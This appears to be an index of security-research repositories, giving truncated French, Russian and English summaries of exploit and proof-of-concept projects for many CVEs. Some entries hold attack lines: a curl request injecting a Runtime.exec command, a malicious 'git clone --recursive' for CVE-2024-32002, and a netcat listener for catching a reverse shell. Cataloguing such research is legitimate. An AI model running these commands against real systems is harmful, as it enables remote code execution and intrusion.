CVE-2026-106235

A flaw was found in chromium-browser. A use-after-free vulnerability—where memory is accessed after it has been released—exists in the WebAudio component. A remote attacker could exploit this issue by enticing a user to visit a crafted HTML page, potentially leading to arbitrary code execution...

nmap-CVE-2022-21907

nmap-CVE-2022-21907 Dépôt contenant un script NSE pour la vulnérabilité CVE-2022-21907. Il s'agit d'une vulnérabilité de composant IIS sous Windows. Elle permet l'exécution de code à distance. La vulnérabilité affecte le module noyau http.sys, qui gère la plupart des opérations de base d'IIS. Apr...

WebKit-CVE-2016-4622

WebKit CVE-2016-4622: Глубокий анализ уязвимости быстрого пути Slice ValueOf Полный анализ и эксплуатация уязвимости в WebKit JavaScript Core, приводящей к раскрытию памяти через манипуляцию Array.slice Содержание Краткое описание Обзор уязвимости Настройка среды исследования Технический анализ...

CVE-2020-12077

CVE-2020-12077 MapPress Maps Pro 2.53.9 - Exécution de code à distance RCE en raison d'un contrôle d'accès incorrect dans les actions AJAX Description La version pro de ce plugin enregistre plusieurs actions AJAX qui appellent des fonctions manquant de vérifications de capacités et de nonces, en...

CVE-2022-22947_EXP

1. Удаленное выполнение кода в Spring Cloud Gateway Уровень опасности: Высокий Статус POC/EXP: Опубликован Номер CNVD: CNNVD-2022-16402 ​ Номер CVE: CVE-2022-22947 2. Затрагиваемые версии: VMWare Spring Cloud Gateway 3.1.0 VMWare Spring Cloud Gateway =3.0.0, python cve-2022-22947.py Проверка...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example Среда для CVE-2022-22980 Сборка Docker-окружения docker build -t mongo . docker run -dit -p 6666:6666 mongo PoC ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

spring-shell-vuln

spring-shell-vuln Spring4Shell: Уязвимость удаленного выполнения кода в Spring Core Компания Spring подтвердила наличие RCE в Spring Framework. Команда только что опубликовала заявление вместе с руководствами по смягчению последствий этой проблемы. Теперь эта уязвимость может отслеживаться как...

Commvault-CVE-2025-34028

CVE-2025-34028 Commvault: удалённое выполнение кода CVE-2025-34028 NSE Как запустить в Nmap: nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

CVE-2025-53770-Scanner

Сканер CVE-2025-53770 от DanSec Простой и эффективный инструмент разведки для выявления потенциальной подверженности критической уязвимости SharePoint CVE-2025-53770. !Warning Этот инструмент предназначен только для авторизованного тестирования. Автор DanSec не несёт ответственности за...

CVE-2021-22205

CVE-2021-22205 Description - POC pour CVE-2021-22205 : Gitlab CE/EE RCE - POC && EXP pour une vulnérabilité d'exécution de code à distance non autorisée - créé par antx le 2021-10-29. Detail - Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de 11.9. GitLab ne...

git_rce

CVE-2024-32002 PoC 1. Необходимо настроить параметр символических ссылок git следующим образом: git config --global core.symlinks true 2. Затем эксплуатируйте CVE-2024-32002 следующей командой: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Сценарий атаки kali192.168.216.129...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML: Загрузка артефакта Pickle PoC Этот проект демонстрирует, как динамически загрузить артефакт pickle в...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

CVE-2020-11932

CVE-2020-11932 Ошибка Double-Free в эксплойте WhatsApp, poc. Примечание: Убедитесь, что вы установили IP слушателя в exploit.c, чтобы получить шелл. nc -lvp 1337 или любой другой порт. и затем скомпилируйте. make или gcc -o exploit egiflib.c exploit.c затем запустите ./exploit и сохраните...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Эксплуатация CVE-2021-44228 Log4Shell в банковской среде Цель: продемонстрировать эксплуатацию уязвимости Log4Shell CVE-2021-44228 в смоделированной среде банковского приложения. Область применения: 1: Настроить уязвимое банковское приложение с использованием Apache Log4j. 2:Создать полезную...

CVE-2022-22965

Уязвимость Spring4Shell - CVE-2022-22965 📕 Введение Уязвимость spring4shell получила такое название из-за двух уязвимостей, обнаруженных и активно эксплуатируемых злоумышленниками в начале 2022 года. Одна из этих уязвимостей находится в компоненте фреймворка под названием "Spring Cloud Functions"...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day Exécution de code PHP à distance Perl Ceci est un exploit RCE 0day dans Drupal CMS Vous pouvez télécharger un payload sur le serveur. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Comment exécuter l'exploit : 1-git clone...

CVE-2024-1247-PoC

CVE-2024-1247-PoC Плагин Post Saint -un Username...

CVE-2021-26084

CVE-2021-26084 Введение В этом документе представлен обзор CVE-2021-26084 — инъекции OGNL в Confluence Server Webwork 1, которая позволяет авторизованному пользователю выполнять произвольный код на экземпляре Confluence Server или Data Center. TL;DR Confluence Server / Data Center использует...